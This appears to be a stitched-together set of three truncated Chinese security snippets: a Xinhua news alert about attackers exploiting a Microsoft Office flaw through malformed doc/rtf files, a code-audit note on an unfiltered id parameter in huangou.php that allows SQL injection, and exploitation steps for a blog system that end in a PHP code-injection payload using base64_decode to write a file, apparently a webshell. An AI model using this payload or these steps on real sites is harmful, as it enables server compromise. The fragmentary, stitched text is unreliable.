新华网天津4月29日电 （记者张建新、王思北）国家计算机病毒应急处理中心通过对互联网的监测发现，恶意攻击者正在利用微软最新发布的4月安全公告中的漏洞进行攻击，提醒用户小心谨防。专家说，恶意攻击者利用该漏洞制造出畸形的doc或rtf等格式文件，通过电子邮件、...

问题位置：huangou.php ID过滤不严格$id =$_GET[''id''];$good=sel_sql(‘dhlist’,''id,name,pic,money,jifen,num,content,num’,'...

影响版本有：20120407，beta，rc1.注册任意账户2.登陆用户，发表blog日志（注意是日志）3.添加图片，选择网络图片，地址：{${fputs(fopen(base64_decode(ZGVtby5waHA ,w ,base64_decode(...